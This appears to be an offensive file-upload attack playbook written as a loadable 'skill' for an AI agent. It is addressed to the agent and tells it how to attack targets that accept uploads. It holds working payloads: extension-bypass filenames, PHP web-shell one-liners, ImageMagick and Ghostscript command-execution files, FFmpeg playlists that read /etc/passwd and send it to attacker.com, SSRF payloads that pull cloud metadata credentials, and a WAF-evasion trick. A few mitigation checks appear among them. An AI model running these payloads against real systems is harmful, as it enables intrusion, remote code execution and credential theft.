Upload Insecure Files

SKILL: Upload Insecure Files — Validation Bypass, Storage Abuse, and Processing Chains

AI LOAD INSTRUCTION: Expert file upload attack playbook. Use when the target accepts files, imports, avatars, media, documents, or archives and you need the full workflow: validation bypass, storage path abuse, post-upload access, parser exploitation, multi-tenant overwrite, and chaining into XSS, XXE, CMDi, traversal, or business logic impact. For web server parsing vulnerabilities, PUT method exploitation, and specific CVEs (WebLogic, Flink, Tomcat), load the companion SCENARIOS.md.

0. RELATED ROUTING

Extended Scenarios

Also load SCENARIOS.md when you need:

• IIS parsing vulnerabilities — x.asp/ directory parsing, ; semicolon truncation (shell.asp;.jpg)
• Nginx parsing misconfiguration — avatar.jpg/.php with cgi.fix_pathinfo=1
• Apache parsing — multiple extensions, AddHandler, CVE-2017-15715 \n (0x0A) bypass
• PUT method exploitation — IIS WebDAV PUT+COPY, Tomcat CVE-2017-12615 readonly + .jsp/ bypass
• WebLogic CVE-2018-2894 arbitrary file upload via Web Service Test Page
• Apache Flink CVE-2020-17518 file upload with path traversal
• Upload + parsing vulnerability chain — EXIF PHP code + Nginx /.php path info
• Full extension bypass reference table (PHP/ASP/JSP alternatives, case variations, null bytes)

Use this file as the deep upload workflow reference. Also load:

• path traversal lfi when filename, extraction path, or include path becomes file-system control
• xss cross site scripting when uploads are rendered in browser contexts
• xxe xml external entity when SVG, OOXML, or XML imports are accepted
• cmdi command injection when a processor, converter, or media pipeline executes system tools
• business logic vulnerabilities when quotas, overwrite rules, approvals, or storage paths create logic bugs
• ghost-bits-cast-attack when the server is Apache Tomcat and the WAF blocks .jsp in filename* — Tomcat's RFC2231Utility narrows each char to byte, so 1.陪sp (U+966A low byte = j) writes 1.jsp to disk while the WAF sees no .jsp literal

1. CORE MODEL

Every upload feature should be tested as four separate trust boundaries:

1. Accept: what validation happens before the file is stored?
2. Store: where is the file written and under what name and permissions?
3. Process: what background tools, converters, scanners, parsers, or extractors touch it?
4. Serve: how is it later downloaded, rendered, transformed, or shared?

Many targets validate only one stage. The bug usually appears in a different stage than the one where the file was uploaded.

2. RECON QUESTIONS FIRST

Before payload selection, answer these:

• Which extensions are allowed, denied, or normalized?
• Does the backend trust extension, MIME type, magic bytes, or all three?
• Is the file renamed, transcoded, unzipped, scanned, or re-hosted?
• Is retrieval direct, proxied, signed, or served from a CDN?
• Can one user predict or overwrite another user's file path?
• Do filenames, metadata, or previews reflect back into HTML, logs, admin consoles, or PDFs?

3. VALIDATION BYPASS MATRIX

Representative bypass families:

shell.php.jpg
avatar.jpg.php
file.asp;.jpg
file.php%00.jpg
file.svg
archive.zip

This small sample set already covers the main use cases of the former standalone upload payload helper, so no extra entry is needed for first-pass selection.

Do not stop at upload success. Successful upload without dangerous retrieval or processing is not enough.

4. STORAGE AND RETRIEVAL ABUSE

Predictable or controllable paths

Look for patterns like:

/uploads/USER_ID/avatar.png
/files/org-slug/report.pdf
/cdn/tmp/<uuid>/<filename>

Test for:

• cross-tenant read by guessing IDs, slugs, or UUID patterns
• overwrite by reusing another user's filename
• path normalization bugs in filename or archive members
• private file exposed through direct object URL despite UI-level access control

Filename-based injection surfaces

A safe file can still be dangerous if the filename is reflected into:

• gallery HTML
• admin moderation panels
• PDF/CSV export jobs
• logs, audit views, or email notifications

If filename is reflected, treat it like stored input, not like passive metadata.

5. PROCESSING-CHAIN ATTACKS

The highest-value upload bugs often live in asynchronous processors.

Common processor classes

What to prove

1. The file is touched by a processor.
2. The processor behaves differently from the upload validator.
3. That difference creates impact: read, execute, overwrite, SSRF, or stored client-side execution.

6. HIGH-VALUE EXPLOITATION PATHS

Browser execution

• SVG served as active content
• HTML or text uploads rendered inline
• EXIF or filename reflected into an HTML page

XML and document parsing

• SVG XXE for file read or SSRF
• OOXML import for XML entity or parser abuse
• CSV import for formula execution in analyst workflows

Server-side execution or file-system impact

• image or document converter invoking shell tools
• zip slip writing outside intended directory
• upload-to-LFI chain where uploaded content later becomes includable

Access-control and sharing bugs

• private upload accessible via predictable URL
• moderation or quarantine path still publicly reachable
• one user replacing another user's public asset

7. AUTHORIZATION AND BUSINESS LOGIC CHECKS

Upload features frequently hide non-parser bugs:

• upload quota enforced in UI but not API
• plan restrictions checked on upload page but not on import endpoint
• file ownership checked on list view but not on direct download or replace endpoint
• approval workflow bypassed by calling the final storage endpoint directly
• delete or replace action missing object-level authorization

When the upload path includes account, project, or organization identifiers, always run an A/B authorization test.

8. TEST SEQUENCE

1. Upload one benign marker file and map rename, path, and retrieval behavior.
2. Try one validation-bypass sample and one active-content sample.
3. Check whether retrieval is attachment, inline render, transformed preview, or background processing.
4. If processing exists, pivot by processor family: XSS, XXE, CMDi, zip slip, or SSRF.
5. Run tenant-boundary and overwrite tests on file IDs, replace endpoints, and public URLs.

9. CHAINING MAP

10. OPERATOR CHECKLIST

[] Confirm accept/store/process/serve stages separately
[] Test one extension bypass and one content-based payload
[] Check inline render vs forced download
[] Inspect filenames, metadata, and preview surfaces for reflection
[] Probe processing chain: image, archive, XML, document, PDF
[] Run A/B authorization on read, replace, delete, and share actions
[] Map predictable paths and public/private URL boundaries

11. UPLOAD SUCCESS RATE MODEL & ADVANCED METHODOLOGY

Success Rate Formula

P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)

Many testers focus only on bypassing file type checks, but forget:

• Path discovery: Without knowing the upload path, even a successful bypass is useless
• Server parsing: Even with a .php file uploaded, if the web server doesn't parse it as PHP, no RCE

Rich Text Editor Path Matrix

Validation Defect Taxonomy (5 Dimensions)

Response Manipulation Bypass

# If server returns allowedTypes in response for client-side validation:
# Intercept response → modify allowedTypes to include .php → upload .php
# The server never actually validates — it trusts client filtering

IIS Semicolon Parsing

# IIS treats semicolon as parameter delimiter in filenames:
shell.asp;.jpg    → IIS executes as ASP
# NTFS Alternate Data Stream:
shell.asp::$DATA  → Bypasses extension check, IIS may execute

Apache Multi-Extension

# Apache parses right-to-left for handler:
shell.php.jpg     → May execute as PHP if AddHandler php applies
# Newline in filename (CVE-2017-15715):
shell.php\x0a     → Bypasses regex but Apache still executes as PHP

Nginx cgi.fix_pathinfo

# With cgi.fix_pathinfo=1 (PHP-FPM):
/uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
# Upload legitimate-looking JPG with PHP code embedded

12. POLYGLOT FILE TECHNIQUES

Files that are simultaneously valid in two or more formats, bypassing format-specific validation while delivering a dangerous payload.

GIFAR (GIF + JAR)

# GIF header + JAR appended
# GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
# Browser: valid GIF image
# Java: valid JAR archive → applet execution (legacy)

cat header.gif payload.jar > gifar.gif
# Passes image validation, executes as Java applet if loaded via <applet>

PNG + PHP polyglot

# Inject PHP code into PNG IDAT chunk or tEXt metadata
# The PNG renders as valid image; when included via LFI, PHP code executes

# Method 1: PHP in tEXt chunk
python3 -c "
import struct
png_header = b'\x89PNG\r\n\x1a\n'
# ... minimal IHDR + IDAT + tEXt chunk containing PHP
"

# Method 2: Use exiftool to inject into comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
# Upload image.png → LFI include → PHP executes from metadata

JPEG + JS polyglot

# JPEG comment marker (0xFFFE) can contain JavaScript
# If served with Content-Type: text/html (or MIME sniffing active):
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg

# Combined with content-type confusion → XSS via image upload

PDF + JS polyglot

# PDF header followed by JS:
%PDF-1.0
1 0 obj<</Pages 2 0 R>>endobj
2 0 obj<</Kids[3 0 R]/Count 1>>endobj
3 0 obj<</MediaBox[0 0 3 3]>>endobj
trailer<</Root 1 0 R>>
*/=alert('XSS')/*

13. IMAGEMAGICK EXPLOITATION CHAIN

CVE-2016-3714 (ImageTragick) — RCE via Delegates

ImageMagick uses "delegates" (external programs) for certain format conversions. Specially crafted files trigger shell command execution:

MVG (Magick Vector Graphics)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context

SVG delegate abuse

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
  <image xlink:href="https://example.com/image.jpg&quot;|id > /tmp/pwned&quot;" x="0" y="0"/>
</svg>

Ghostscript exploitation

ImageMagick delegates to Ghostscript for PDF/PS/EPS processing. Ghostscript has had multiple sandbox escapes:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops

Upload as .eps, .ps, or .pdf → ImageMagick invokes Ghostscript → RCE.

Mitigation check

□ Is ImageMagick policy.xml restricting dangerous coders?
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
□ Is Ghostscript updated and sandboxed (-dSAFER)?

14. FFMPEG SSRF & LOCAL FILE READ

HLS playlist file read

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST

Upload as .m3u8 or .ts → FFmpeg processes it → file content concatenated with header and sent to attacker server or embedded in output video.

SSRF via HLS

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST

FFmpeg fetches the URL server-side → SSRF to cloud metadata endpoint.

Concat protocol for local file inclusion

#EXTM3U
#EXTINF:1,
concat:file:///etc/passwd|subfile,,start,0,end,0,,:
#EXT-X-ENDLIST

AVI + subtitle SSRF

Create AVI with subtitle track referencing a URL:

ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi

15. CLOUD STORAGE UPLOAD CONSIDERATIONS

S3 Presigned URL Abuse

# Presigned URL generated for specific key and content-type:
PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
  ?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type

# Abuse: if content-type is NOT in SignedHeaders:
# Change Content-Type from image/jpeg to text/html → upload XSS payload
# The signature remains valid because content-type wasn't signed

# If path is not signed (only prefix):
# Change key from uploads/avatar.jpg to uploads/../admin/config.json

Audit checklist:

□ Which headers are included in SignedHeaders? (must include content-type)
□ Is the full key path signed or just a prefix?
□ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
□ Is the ACL signed? (prevent setting public-read on sensitive uploads)

Azure Blob Storage SAS Token

# SAS token scope issues:
# Container-level SAS with write permission → write to ANY blob in container
# Service-level SAS → may allow listing/reading other blobs
# Check: sr= (signed resource), sp= (signed permissions), se= (expiry)

GCS Signed URL

# Similar to S3 — check if Content-Type is included in signature
# Resumable upload URLs may have broader permissions than intended
# V4 signed URLs: verify X-Goog-SignedHeaders includes content-type

16. CONTENT-TYPE VALIDATION BYPASS

Double extensions

shell.php.jpg          → Apache with AddHandler may execute as PHP
shell.asp;.jpg         → IIS semicolon truncation
shell.php%00.jpg       → Null byte truncation (PHP < 5.3.4, old Java)
shell.php.xxxxx        → Unknown extension → Apache falls back to previous handler

MIME sniffing exploitation

When server sends no Content-Type or X-Content-Type-Options: nosniff is missing:

# Upload file with HTML/JS content but image extension
# Browser MIME-sniffs content → executes as HTML
# Works for stored XSS even when extension validation passes

Content-Type header vs extension mismatch

# Upload request:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg

# File content: <?php system($_GET['cmd']); ?>

# Server trusts Content-Type header (image/jpeg) → passes validation
# But stores with .php extension based on other logic → executes as PHP

Case variation

shell.PhP    shell.pHP    shell.Php
shell.aSp    shell.jSp    shell.ASPX

Trailing characters

shell.php.      → trailing dot (Windows strips it)
shell.php::$DATA → NTFS alternate data stream (IIS)
shell.php\x20   → trailing space
shell.php%20    → URL-encoded space